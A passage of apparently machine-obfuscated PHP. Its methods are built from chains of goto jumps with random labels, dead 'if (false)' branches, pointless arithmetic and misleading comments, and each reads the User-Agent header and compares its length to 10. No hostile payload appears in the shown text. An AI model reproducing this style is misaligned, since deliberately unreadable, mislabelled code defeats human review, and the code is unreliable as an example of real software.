VTPb_tRz: /* API handler */ goto skuli_Tq; skuli_Tq: /* Security component */ if (false) { echo 'This is a dead end'; } goto nGVbRpau; nGVbRpau: /* M2W1DnIPRFsayk3 */ if (false) { echo 'This is a dead end'; } goto RV52qCXY; RV52qCXY: // KMwCkXcD goto P9REn6w1; P9REn6w1: $Pe9zuJ4r = 566 + 15; $n7sJ6WnP = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto c_e_G2Sa; c_e_G2Sa: // 3tGSbtR4 if (false) { echo 'This is a dead end'; } goto G3LLIyi_; G3LLIyi_: /* Main service */ goto g7bcmQCd; g7bcmQCd: // 8FiATPg7eYLr $bZa4iOd6 = 808 + 20; $n7sJ6WnP = $bZa4iOd6 * 2; goto Euaerc20; Euaerc20: return $bZa4iOd6 > 10; } private function a99rZ5yNeBi() { goto JHiuJG3m; JHiuJG3m: /* Main service */ $Pe9zuJ4r = 562 + 32; $a6EHyDbxg = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto s2TvAp9X; s2TvAp9X: /* API handler */ $a29IFo9lZ = 830 + 37; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto JxJojSPQ; JxJojSPQ: /* TcRVa0cc_atuZMl9OeGT */ goto KiUzmJmU; KiUzmJmU: $bZa4iOd6 = 915 + 20; $iCjD65Pi = $bZa4iOd6 * 5; goto mD2c3k5v; mD2c3k5v: // KMubjd9t $FbaGmw5w = 717 + 9; $FbaGmw5w = $FbaGmw5w * 2; goto i6HB0IMX; i6HB0IMX: /* Security component */ goto jdnXpBwx; jdnXpBwx: /* Security component */ goto fgkkUkp1; fgkkUkp1: /* System file */ goto s9n7suoo; s9n7suoo: /* HBD70fdxxGJVOGxeCeCy */ goto rAbMw71O; rAbMw71O: /* Main service */ $B9ma2fmF = 258 + 50; $B9ma2fmF = $B9ma2fmF * 1; goto W_i3Thtx; W_i3Thtx: /* Security component */ goto KZLOZGHV; KZLOZGHV: goto a9XApYAI5; a9XApYAI5: $a6EHyDbxg = 106 + 14; $n7sJ6WnP = $a6EHyDbxg * 1; goto TpBIg_eQ; TpBIg_eQ: /* Security component */ goto b__Hp9N4; b__Hp9N4: /* BSuecQMxvbX1wRv7yZbZ */ $iX1geSuk = 426 + 30; $n7sJ6WnP = $iX1geSuk * 3; goto LtMVDWn5; LtMVDWn5: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j31JFhgH; j31JFhgH: /* System file */ goto jGxyfMBY; jGxyfMBY: goto a8LGO87yu; a8LGO87yu: goto mJNMNTCY; mJNMNTCY: /* Security component */ goto HOqWCzo9; HOqWCzo9: /* Security component */ if (false) { echo 'This is a dead end'; } goto tC64bgKu; tC64bgKu: // u3uPstGN2HeT goto a__2iU3ym; a__2iU3ym: goto WPbMQwQZ; WPbMQwQZ: // _O0bBLzzmtU3 $iX1geSuk = 297 + 13; $bZa4iOd6 = $iX1geSuk * 4; goto U5H2exyZ; U5H2exyZ: $XsucffsH = 394 + 7; $a29IFo9lZ = $XsucffsH * 2; goto n3HpeHN_; n3HpeHN_: // 5VN6T6HKX8aBbGns $iCjD65Pi = 432 + 10; $iCjD65Pi = $iCjD65Pi * 3; goto a0i_BfKDc; a0i_BfKDc: $jIP39ari = 372 + 27; $XsucffsH = $jIP39ari * 5; goto DvYudpcM; DvYudpcM: if (false) { echo 'This is a dead end'; } goto a1aSxIYw3; a1aSxIYw3: goto FBIJQYay; FBIJQYay: goto WIFx561_; WIFx561_: /* Main service */ if (false) { echo 'This is a dead end'; } goto EDIW053h; EDIW053h: $a29IFo9lZ = strlen($n7sJ6WnP); goto a1BCw1gnv; a1BCw1gnv: $bZa4iOd6 = 784 + 50; $XsucffsH = $bZa4iOd6 * 4; goto XqnboGqv; XqnboGqv: /* API handler */ $FbaGmw5w = 304 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto pQ55oOP8; pQ55oOP8: // TL7dF4LMCea0 $XsucffsH = 940 + 41; $Pe9zuJ4r = $XsucffsH * 4; goto TxAyINJ_; TxAyINJ_: goto GieTKGlz; GieTKGlz: goto JfI6NvWs; JfI6NvWs: /* API handler */ $a29IFo9lZ = 462 + 1; $BqYDw4sr = $a29IFo9lZ * 4; goto a92mAnFhx; a92mAnFhx: /* System file */ if (false) { echo 'This is a dead end'; } goto oFuFlSQG; oFuFlSQG: /* SunYAdo3B0 */ goto wEMlWGgg; wEMlWGgg: /* API handler */ goto a5hIDjpwq; a5hIDjpwq: goto vval4Eck; vval4Eck: /* Gn6etHQx4y */ goto P20gr6TQ; P20gr6TQ: /* System file */ goto i0BkmxYw; i0BkmxYw: /* Core module */ $WWDcP6ib = 839 + 28; $Pe9zuJ4r = $WWDcP6ib * 2; goto kUkTwNzK; kUkTwNzK: if (false) { echo 'This is a dead end'; } goto ljf4yEps; ljf4yEps: /* 6BEVj4IUNG */ $B9ma2fmF = 521 + 48; $FbaGmw5w = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto XKE3i1PD; XKE3i1PD: return $a29IFo9lZ > 10; } private function FqnnyEn5os() { goto FeDGT2m5; FeDGT2m5: if (false) { echo 'This is a dead end'; } goto a7T4fB4og; a7T4fB4og: goto kc8ZH3p_; kc8ZH3p_: goto a5H32Pkli; a5H32Pkli: /* jf5Rkpirfb */ goto YtmKgnyg; YtmKgnyg: goto MWNyQqI2; MWNyQqI2: /* u6LKoubfLt */ $FbaGmw5w = 501 + 48; $a6EHyDbxg = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto rt4G7GQ4; rt4G7GQ4: /* Z3xcS_6pDGvtZS5956Oa */ $n7sJ6WnP = 718 + 1; $iX1geSuk = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto a46sqkKms; a46sqkKms: /* Core module */ goto ut7s5R6I; ut7s5R6I: $BqYDw4sr = 965 + 43; $bZa4iOd6 = $BqYDw4sr * 3; goto rMOmF9jM; rMOmF9jM: $iX1geSuk = 979 + 27; $BqYDw4sr = $iX1geSuk * 4; goto rZWCuelB; rZWCuelB: /* 6MPy_m6e16 */ if (false) { echo 'This is a dead end'; } goto a4uBHvKu; a4uBHvKu: /* Security component */ goto s8qa3wY8; s8qa3wY8: goto ZMJc1Wde; ZMJc1Wde: /* AplmUEuOVG4Qk75rBbVC */ if (false) { echo 'This is a dead end'; } goto B5RIo0lY; B5RIo0lY: goto a8aPgfMiB; a8aPgfMiB: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9UjTBm1l; a9UjTBm1l: goto nFFycyLr; nFFycyLr: // 49R0UpPoAjm9 goto vwVLwQ6r; vwVLwQ6r: /* API handler */ $BqYDw4sr = 756 + 50; $n7sJ6WnP = $BqYDw4sr * 2; goto QzOfGK2t; QzOfGK2t: /* Core module */ $FbaGmw5w = 440 + 20; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto Mc1IKDce; Mc1IKDce: /* Core module */ goto a5oRHTNg3; a5oRHTNg3: goto ngIuKEb0; ngIuKEb0: goto rknJ9krV; rknJ9krV: if (false) { echo 'This is a dead end'; } goto uMCb1oXb; uMCb1oXb: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZdcIgu9u; ZdcIgu9u: goto AzH5nsB1; AzH5nsB1: /* Security component */ $WWDcP6ib = 326 + 31; $n7sJ6WnP = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto M9eBjjNO; M9eBjjNO: if (false) { echo 'This is a dead end'; } goto Ni5Q2Lkg; Ni5Q2Lkg: $iCjD65Pi = 993 + 15; $a6b9oay5s = $iCjD65Pi * 3; goto c7KzDkbW; c7KzDkbW: goto GSVfJIe8; GSVfJIe8: $a29IFo9lZ = 615 + 37; $B9ma2fmF = $a29IFo9lZ * 4; goto uUoxxFPu; uUoxxFPu: $a29IFo9lZ = strlen($XsucffsH); goto eyAfVqBl; eyAfVqBl: goto ZXsSJOPR; ZXsSJOPR: $B9ma2fmF = 955 + 20; $XsucffsH = $B9ma2fmF * 4; goto ZjpccvyN; ZjpccvyN: $iCjD65Pi = 200 + 20; $WWDcP6ib = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto mn0mFzH6; mn0mFzH6: $n7sJ6WnP = 381 + 28; $WWDcP6ib = $n7sJ6WnP * 3; goto kGssRsx3; kGssRsx3: if (false) { echo 'This is a dead end'; } goto bEXaaOfQ; bEXaaOfQ: $XsucffsH = 166 + 37; $jIP39ari = $XsucffsH * 4; goto BiUS_j12; BiUS_j12: /* HMRQiiPz3yjaWw5wUFmC */ goto pjMrG4w4; pjMrG4w4: goto br4eT2yp; br4eT2yp: /* System file */ goto k0As0SOI; k0As0SOI: $a6EHyDbxg = 532 + 22; $iCjD65Pi = $a6EHyDbxg * 1; goto RiiySKL5; RiiySKL5: goto foXhRSr4; foXhRSr4: /* Security component */ goto SaZSDo5D; SaZSDo5D: goto PqyCJdM6; PqyCJdM6: // Az606mrHNmoo $XsucffsH = 527 + 17; $jIP39ari = $XsucffsH * 1; goto wGof2Ej1; wGof2Ej1: $BqYDw4sr = 795 + 18; $NqlX8zGc = $BqYDw4sr * 1; goto nhfVl_ax; nhfVl_ax: return $a29IFo9lZ > 10; } private function a9wRCMP7lRP() { /* Main service */ goto ot8qf75n; ot8qf75n: $iX1geSuk = 361 + 47; $WWDcP6ib = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto gjCofMM3; gjCofMM3: goto LztQs2dR; LztQs2dR: goto ymQ270ot; ymQ270ot: goto T3RgKCx6; T3RgKCx6: /* Main service */ if (false) { echo 'This is a dead end'; } goto OHRAyEWG; OHRAyEWG: $BqYDw4sr = 876 + 16; $B9ma2fmF = $BqYDw4sr * 4; goto z4f2t26k; z4f2t26k: /* z2OLxK73K0cM3sL */ goto ycuUdSnr; ycuUdSnr: $a6b9oay5s = 327 + 30; $jIP39ari = $a6b9oay5s * 5; goto pePWdEQP; pePWdEQP: goto u6OGHnne; u6OGHnne: goto a1n1z9VEE; a1n1z9VEE: /* 1g_W11U2rD */ if (false) { echo 'This is a dead end'; } goto JClZ9Dki; JClZ9Dki: /* Security component */ goto qodCF57G; qodCF57G: $FbaGmw5w = 559 + 33; $WWDcP6ib = $FbaGmw5w * 2; goto JTNtUULr; JTNtUULr: goto a8WBMVoSc; a8WBMVoSc: /* Main service */ if (false) { echo 'This is a dead end'; } goto YTMB8wz_; YTMB8wz_: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto M46x7FTP; M46x7FTP: // uqk5jEYX if (false) { echo 'This is a dead end'; } goto Ojgkw3h8; Ojgkw3h8: /* Main service */ $iCjD65Pi = 369 + 21; $NqlX8zGc = $iCjD65Pi * 3; goto kbon__CM; kbon__CM: // oZoBjTQFozXY goto LXpxDWnU; LXpxDWnU: goto rTf6JMby; rTf6JMby: $iX1geSuk = 687 + 10; $XsucffsH = $iX1geSuk * 3; goto pwgLhSlF; pwgLhSlF: goto oejr4JtY; oejr4JtY: // h__6cO77xYdLFU3B goto GQYUSfP6; GQYUSfP6: // SBF5vgWvfU8WbJGn goto Q6IhEEsi; Q6IhEEsi: /* Xglcb9FMiWMV0k9uXORz */ $FbaGmw5w = 660 + 13; $a6b9oay5s = $FbaGmw5w * 1; goto lQvKMz_9; lQvKMz_9: goto mJBc1iPP; mJBc1iPP: // ApdirFaMxsTlbHXY $FbaGmw5w = 582 + 24; $iCjD65Pi = $FbaGmw5w * 4; if (false) { echo 'This is a dead end'; } goto q4Iol7tv; q4Iol7tv: goto a7Zqpe0eI; a7Zqpe0eI: $bZa4iOd6 = 328 + 44; $BqYDw4sr = $bZa4iOd6 * 1; goto f2_GXvhd; f2_GXvhd: $a29IFo9lZ = 854 + 43; $WWDcP6ib = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a_442YVmF; a_442YVmF: /* System file */ goto mgn167FS; mgn167FS: $a6b9oay5s = strlen($BqYDw4sr); goto JbUn5RqH; JbUn5RqH: // JIvmAP3GKenX goto fP0BObys; fP0BObys: /* U1etITjBxn */ goto N1f_APIl; N1f_APIl: // gVQbybyyrhpr if (false) { echo 'This is a dead end'; } goto XOvNU_u0; XOvNU_u0: goto VVLXD6pL; VVLXD6pL: /* PpVy8N9urOkRam8 */ $n7sJ6WnP = 427 + 27; $FbaGmw5w = $n7sJ6WnP * 2; goto IqQiqKHu; IqQiqKHu: goto LQ28jg60; LQ28jg60: $a6EHyDbxg = 683 + 48; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto HU6SeLzV; HU6SeLzV: goto Q5THrtBI; Q5THrtBI: $BqYDw4sr = 867 + 25; $NqlX8zGc = $BqYDw4sr * 4; goto zHg5aHTE; zHg5aHTE: $jIP39ari = 181 + 36; $BqYDw4sr = $jIP39ari * 5; goto ChZDW3Sk; ChZDW3Sk: /* O7t7HPKcxZ */ goto QRZnIP5C; QRZnIP5C: goto ukdpk88S; ukdpk88S: goto aOMaOPiG; aOMaOPiG: /* 7zutg9G63T */ if (false) { echo 'This is a dead end'; } goto yYJFaqGV; yYJFaqGV: /* yXlgNOgS01 */ $iCjD65Pi = 895 + 4; $n7sJ6WnP = $iCjD65Pi * 3; goto jgzqiHUQ; jgzqiHUQ: return $a6b9oay5s > 10; } private function PUUrXS7pW1() { goto a0kmiabZc; a0kmiabZc: // Pr0QDHNkOwEpXzNx goto M0_57mcx; M0_57mcx: /* API handler */ $a6EHyDbxg = 704 + 41; $iCjD65Pi = $a6EHyDbxg * 2; goto Sb1xyBuc; Sb1xyBuc: /* h4rwgBH5YLMKp8aUqCQ9 */ $Pe9zuJ4r = 565 + 22; $XsucffsH = $Pe9zuJ4r * 3; goto j3CIQMmB; j3CIQMmB: goto dBgliThF; dBgliThF: /* System file */ $jIP39ari = 487 + 29; $a29IFo9lZ = $jIP39ari * 5; goto a0NMVJH2L; a0NMVJH2L: /* beyfKjEt2mUCkIX */ $XsucffsH = 288 + 27; $jIP39ari = $XsucffsH * 2; goto XUz2xSyi; XUz2xSyi: goto wvNAbUf_; wvNAbUf_: goto tYkRjEj3; tYkRjEj3: $n7sJ6WnP = 385 + 19; $B9ma2fmF = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto cbu1hNaH; cbu1hNaH: /* System file */ if (false) { echo 'This is a dead end'; } goto daekWuyq; daekWuyq: /* Main service */ $a6EHyDbxg = 560 + 36; $Pe9zuJ4r = $a6EHyDbxg * 5; goto tcdyohPd; tcdyohPd: goto GSGzSvE4; GSGzSvE4: /* fSTvsA6fpr */ $iX1geSuk = 210 + 26; $Pe9zuJ4r = $iX1geSuk * 2; goto a0b4wBe3r; a0b4wBe3r: goto xTrRoh3k; xTrRoh3k: goto a2eOeiJnb; a2eOeiJnb: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w2f0GNOH; w2f0GNOH: /* Core module */ if (false) { echo 'This is a dead end'; } goto Sq7WutmE; Sq7WutmE: /* Security component */ goto hXY4yTnT; hXY4yTnT: goto enTC2G7i; enTC2G7i: $iX1geSuk = 391 + 20; $iCjD65Pi = $iX1geSuk * 3; goto bykcMD9G; bykcMD9G: /* 8TAuv7LO7RdlA8cJMq9E */ $a29IFo9lZ = 542 + 22; $FbaGmw5w = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sgA899hZ; sgA899hZ: if (false) { echo 'This is a dead end'; } goto IN3PU3ud; IN3PU3ud: $NqlX8zGc = 707 + 47; $NqlX8zGc = $NqlX8zGc * 5; goto a02eCXvva; a02eCXvva: /* Main service */ goto CAXPV0fi; CAXPV0fi: /* System file */ $WWDcP6ib = 420 + 40; $jIP39ari = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto yYI_28Xj; yYI_28Xj: /* Bk4HaGz6D67GJTjUVxhf */ goto a9zHCoaE; a9zHCoaE: /* System file */ $n7sJ6WnP = 798 + 12; $BqYDw4sr = $n7sJ6WnP * 4; goto r4YuE6K3; r4YuE6K3: $bZa4iOd6 = 286 + 48; $iCjD65Pi = $bZa4iOd6 * 5; goto a7vOcSf5; a7vOcSf5: // 2wtbMWRkQfysYuIz if (false) { echo 'This is a dead end'; } goto a7CSvxDPQ; a7CSvxDPQ: /* cqcQTHnJZmTqY9PKRn5H */ goto aQjidKWP; aQjidKWP: goto YJrXgoLM; YJrXgoLM: $iCjD65Pi = strlen($Pe9zuJ4r); goto SsXhjFCD; SsXhjFCD: $FbaGmw5w = 478 + 25; $B9ma2fmF = $FbaGmw5w * 1; goto zk0ahjA0; zk0ahjA0: // y0oyy3ClMJ9nl099 goto UBlLV4FP; UBlLV4FP: goto sof9NbRs; sof9NbRs: /* Core module */ goto pl8GoUr5; pl8GoUr5: /* yzHYYyz_p1 */ $BqYDw4sr = 117 + 45; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto FVyACypU; FVyACypU: /* System file */ goto a6TrbOOF1; a6TrbOOF1: /* Main service */ goto fjwPI_QC; fjwPI_QC: // yomupYaI_1Cx5RV0 $B9ma2fmF = 752 + 25; $FbaGmw5w = $B9ma2fmF * 4; goto SwIsViE1; SwIsViE1: goto OzUD1qFP; OzUD1qFP: /* Core module */ $iX1geSuk = 704 + 34; $WWDcP6ib = $iX1geSuk * 4; goto mgPBPWfq; mgPBPWfq: $jIP39ari = 765 + 37; $Pe9zuJ4r = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto uM0ormB9; uM0ormB9: goto c7zDYgaX; c7zDYgaX: $bZa4iOd6 = 185 + 17; $NqlX8zGc = $bZa4iOd6 * 3; goto s5QT00dv; s5QT00dv: goto reXTCEUb; reXTCEUb: /* Main service */ goto ydjZo5MH; ydjZo5MH: return $iCjD65Pi > 10; } private function irWKe00gZc() { goto a3kq5iGTh; a3kq5iGTh: /* System file */ $iX1geSuk = 726 + 45; $iCjD65Pi = $iX1geSuk * 3; goto o6ENebsb; o6ENebsb: $FbaGmw5w = 947 + 42; $NqlX8zGc = $FbaGmw5w * 1; goto ZuWsaAy3; ZuWsaAy3: goto qZ8bzMm9; qZ8bzMm9: $Pe9zuJ4r = 598 + 7; $Pe9zuJ4r = $Pe9zuJ4r * 5; goto a46R_gfGL; a46R_gfGL: $bZa4iOd6 = 550 + 32; $iCjD65Pi = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto gzuImRQm; gzuImRQm: goto tTHS7e4K; tTHS7e4K: /* 7vuTiAHWgvffFAB */ $bZa4iOd6 = 260 + 4; $Pe9zuJ4r = $bZa4iOd6 * 1; goto WKkmL_pz; WKkmL_pz: // ZHnIhEkIylIyxDVh goto yPK5DUPu; yPK5DUPu: // a2YOk6hL $jIP39ari = 614 + 12; $NqlX8zGc = $jIP39ari * 3; goto z5WCE37W; z5WCE37W: /* System file */ $iX1geSuk = 262 + 10; $XsucffsH = $iX1geSuk * 5; goto Sd7JPjuh; Sd7JPjuh: /* API handler */ goto a7FMiQowF; a7FMiQowF: $Pe9zuJ4r = 532 + 13; $a6b9oay5s = $Pe9zuJ4r * 1; goto mghNoygP; mghNoygP: /* Main service */ goto chOwLwp2; chOwLwp2: $n7sJ6WnP = 183 + 17; $NqlX8zGc = $n7sJ6WnP * 4; goto KsuiE7db; KsuiE7db: goto tLmI0J3n; tLmI0J3n: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DeQVj40M; DeQVj40M: goto tsIb5Jaq; tsIb5Jaq: /* Core module */ $XsucffsH = 528 + 35; $iCjD65Pi = $XsucffsH * 1; goto NqhCfGWk; NqhCfGWk: /* System file */ goto t2drDVD2; t2drDVD2: $n7sJ6WnP = 192 + 45; $iX1geSuk = $n7sJ6WnP * 1; goto a_GCp8Y3w; a_GCp8Y3w: $iX1geSuk = 543 + 41; $bZa4iOd6 = $iX1geSuk * 2; goto DFh7mCCH; DFh7mCCH: /* THS_SIsr80qlIxcBI5vC */ goto a9TERnObV; a9TERnObV: // sEa1TXaM0KX7gCZW $NqlX8zGc = 327 + 26; $iCjD65Pi = $NqlX8zGc * 2; goto o6RhV7y3; o6RhV7y3: $bZa4iOd6 = 237 + 28; $FbaGmw5w = $bZa4iOd6 * 2; goto rd2thnw2; rd2thnw2: // W9VnrszngUzZ $a6EHyDbxg = 640 + 36; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto PXCjZNPD; PXCjZNPD: goto twIukysU; twIukysU: $BqYDw4sr = 618 + 7; $Pe9zuJ4r = $BqYDw4sr * 1; goto Y1PCZ3ot; Y1PCZ3ot: goto uCK1BxQO; uCK1BxQO: /* System file */ $FbaGmw5w = 581 + 49; $iX1geSuk = $FbaGmw5w * 5; goto R5Wo5867; R5Wo5867: goto NH8d8MC6; NH8d8MC6: /* API handler */ goto EcGax0hK; EcGax0hK: $NqlX8zGc = strlen($WWDcP6ib); goto xPQvmTpi; xPQvmTpi: /* 8j29IPQgYDBNJDz */ goto bns7nOES; bns7nOES: /* Security component */ goto iUCArUmy; iUCArUmy: // fDDdtuThQCAg goto VwqFqEln; VwqFqEln: // 3V36agfXpdgAXH_R if (false) { echo 'This is a dead end'; } goto a2oVTKemx; a2oVTKemx: goto BLWvctQe; BLWvctQe: /* qy20YBf7f8 */ $WWDcP6ib = 532 + 27; $a29IFo9lZ = $WWDcP6ib * 3; goto aPL2m27d; aPL2m27d: // 186arwdDOsDu goto sZMWmlJv; sZMWmlJv: /* yIlzNKfcEHEYGAmwmInv */ goto CNGt3bVw; CNGt3bVw: goto A1zzuzmX; A1zzuzmX: // N7taVmcXfMg_1xIx goto a75YwxEv8; a75YwxEv8: goto a9fGsiWxc; a9fGsiWxc: if (false) { echo 'This is a dead end'; } goto NVnnrJYD; NVnnrJYD: goto p_etShXI; p_etShXI: // quUet1PNesvNqkNq goto a0DTSEFkF; a0DTSEFkF: goto ZA5SO7XB; ZA5SO7XB: return $NqlX8zGc > 10; } private function YSdfltbvqK() { goto a35mItSTJ; a35mItSTJ: /* QgbLWS3TPGwL2Bc */ goto a0kxAOP_R; a0kxAOP_R: // dK3Hv_8m $XsucffsH = 341 + 37; $a6b9oay5s = $XsucffsH * 5; goto wE8rHtD_; wE8rHtD_: /* API handler */ $iCjD65Pi = 594 + 27; $a6b9oay5s = $iCjD65Pi * 2; goto CCYMdyeT; CCYMdyeT: /* API handler */ $a6EHyDbxg = 684 + 24; $B9ma2fmF = $a6EHyDbxg * 5; goto WvavBW3e; WvavBW3e: /* 5DE3rz8YTVInK2g1XMCk */ $NqlX8zGc = 575 + 31; $WWDcP6ib = $NqlX8zGc * 3; if (false) { echo 'This is a dead end'; } goto UqXgDdF8; UqXgDdF8: goto WAPeZWhV; WAPeZWhV: // FrDJA6wg $iX1geSuk = 583 + 37; $a6EHyDbxg = $iX1geSuk * 2; goto QxMXbTn2; QxMXbTn2: goto NEeqsqbO; NEeqsqbO: $XsucffsH = 269 + 44; $WWDcP6ib = $XsucffsH * 4; goto ySDaYPXa; ySDaYPXa: goto kUH3I7M8; kUH3I7M8: /* 9PvNy1s57D44U8A */ goto TOAaN5g5; TOAaN5g5: /* API handler */ if (false) { echo 'This is a dead end'; } goto r4qvhAov; r4qvhAov: goto FqBGKp9m; FqBGKp9m: goto yQAvdibZ; yQAvdibZ: // 72Jk7Fv15F9M8JrT goto bIWQEwAQ; bIWQEwAQ: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto mFzN8Bue; mFzN8Bue: /* Main service */ $a29IFo9lZ = 380 + 49; $WWDcP6ib = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto r8VFmWZJ; r8VFmWZJ: goto znroz3KT; znroz3KT: /* bzkxVK5T36 */ $a6b9oay5s = 920 + 37; $bZa4iOd6 = $a6b9oay5s * 2; goto cEqiSWgk; cEqiSWgk: /* Security component */ goto VDthTjqR; VDthTjqR: /* API handler */ $jIP39ari = 984 + 46; $WWDcP6ib = $jIP39ari * 1; goto q9qN1Xbx; q9qN1Xbx: $jIP39ari = 135 + 20; $iX1geSuk = $jIP39ari * 1; goto e8nekgT8; e8nekgT8: goto TNwHNWTJ; TNwHNWTJ: $a6b9oay5s = 201 + 14; $a6b9oay5s = $a6b9oay5s * 4; goto q2g5Aev2; q2g5Aev2: /* Main service */ goto k5Hk8RPi; k5Hk8RPi: /* 8WWXA30JOZybw1y0xdi_ */ goto ZgpJCzSl; ZgpJCzSl: goto C0q0oIFc; C0q0oIFc: // 64ii3cqJ $FbaGmw5w = 213 + 49; $iX1geSuk = $FbaGmw5w * 3; goto x5Y9bjOm; x5Y9bjOm: $NqlX8zGc = 821 + 22; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto O8qgHrXw; O8qgHrXw: /* Security component */ $bZa4iOd6 = 527 + 33; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto KzpMDcbY; KzpMDcbY: /* 0RkZ_EHVC7 */ goto Zy7f1Los; Zy7f1Los: $BqYDw4sr = strlen($a6EHyDbxg); goto KKnO_f9v; KKnO_f9v: if (false) { echo 'This is a dead end'; } goto ac6viTRg; ac6viTRg: /* wpR5nQaSNM */ $XsucffsH = 917 + 6; $a29IFo9lZ = $XsucffsH * 4; goto Ad5DUcuY; Ad5DUcuY: goto L96NzA7n; L96NzA7n: $FbaGmw5w = 606 + 1; $iX1geSuk = $FbaGmw5w * 3; goto h6PxZVvd; h6PxZVvd: goto wPa_GTnv; wPa_GTnv: $B9ma2fmF = 982 + 15; $a6EHyDbxg = $B9ma2fmF * 1; goto aZprx0P0; aZprx0P0: $a6b9oay5s = 813 + 1; $FbaGmw5w = $a6b9oay5s * 4; goto uu8hh6Ja; uu8hh6Ja: $bZa4iOd6 = 691 + 26; $a6b9oay5s = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto iqYeisNL; iqYeisNL: goto LkF7w1sJ; LkF7w1sJ: /* Security component */ $iCjD65Pi = 194 + 12; $FbaGmw5w = $iCjD65Pi * 3; goto H3Unpbtg; H3Unpbtg: goto HcmBm5LH; HcmBm5LH: goto jg9CciJw; jg9CciJw: $jIP39ari = 141 + 42; $bZa4iOd6 = $jIP39ari * 5; goto a9YYtbEij; a9YYtbEij: $FbaGmw5w = 447 + 12; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto RhND1DNt; RhND1DNt: /* Main service */ goto a6f1RwsdZ; a6f1RwsdZ: return $BqYDw4sr > 10; } private function a4pYBSVyXbh() { /* Security component */ goto OWFvLNy0; OWFvLNy0: $n7sJ6WnP = 926 + 17; $a6EHyDbxg = $n7sJ6WnP * 3; goto ncjBjESJ; ncjBjESJ: /* System file */ $a6b9oay5s = 335 + 21; $FbaGmw5w = $a6b9oay5s * 1; goto XIjtgrWY; XIjtgrWY: /* Security component */ goto czuH0hOy; czuH0hOy: goto PTcN1uIz; PTcN1uIz: /* API handler */ if (false) { echo 'This is a dead end'; } goto waVIvLOV; waVIvLOV: goto WaYnU06P; WaYnU06P: /* System file */ $Pe9zuJ4r = 764 + 36; $iCjD65Pi = $Pe9zuJ4r * 1; goto aJMxzY2a; aJMxzY2a: if (false) { echo 'This is a dead end'; } goto WebbQgX9; WebbQgX9: $a29IFo9lZ = 218 + 34; $bZa4iOd6 = $a29IFo9lZ * 4; goto ut5SEYcf; ut5SEYcf: goto cjnSSokE; cjnSSokE: $XsucffsH = 828 + 12; $iCjD65Pi = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto ITehgcfO; ITehgcfO: goto hAXHR55s; hAXHR55s: /* Security component */ $NqlX8zGc = 108 + 3; $NqlX8zGc = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto TYha_kFr; TYha_kFr: goto nqMVNsI0; nqMVNsI0: if (false) { echo 'This is a dead end'; } goto QFJhVJFj; QFJhVJFj: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto e5omH596; e5omH596: goto WXw1v1VB; WXw1v1VB: goto zicBR1E3; zicBR1E3: $Pe9zuJ4r = 989 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto yYAuKKb4; yYAuKKb4: goto a6WqMdbvl; a6WqMdbvl: // E7KC_WJV goto ClC6FGTV; ClC6FGTV: $XsucffsH = 822 + 34; $iX1geSuk = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto LiYGudFg; LiYGudFg: goto ecYr_W3h; ecYr_W3h: $FbaGmw5w = 428 + 38; $a6EHyDbxg = $FbaGmw5w * 2; goto QpYD97mg; QpYD97mg: // rsrCYmMTVdCmkjVa $a29IFo9lZ = 185 + 33; $WWDcP6ib = $a29IFo9lZ * 1; goto VfZK8flK; VfZK8flK: goto a60VSKJ0X; a60VSKJ0X: goto tAB5OrEe; tAB5OrEe: goto ub_ptd6c; ub_ptd6c: $jIP39ari = 984 + 24; $jIP39ari = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto JNDMAGmC; JNDMAGmC: // 22NoXWlp4Ct1kasF goto a7CYN4lp3; a7CYN4lp3: goto a8whFlLax; a8whFlLax: $WWDcP6ib = strlen($a6b9oay5s); goto q59ZKda7; q59ZKda7: goto a_5stdVA4; a_5stdVA4: // YxuYOy9D2JnccRNE if (false) { echo 'This is a dead end'; } goto 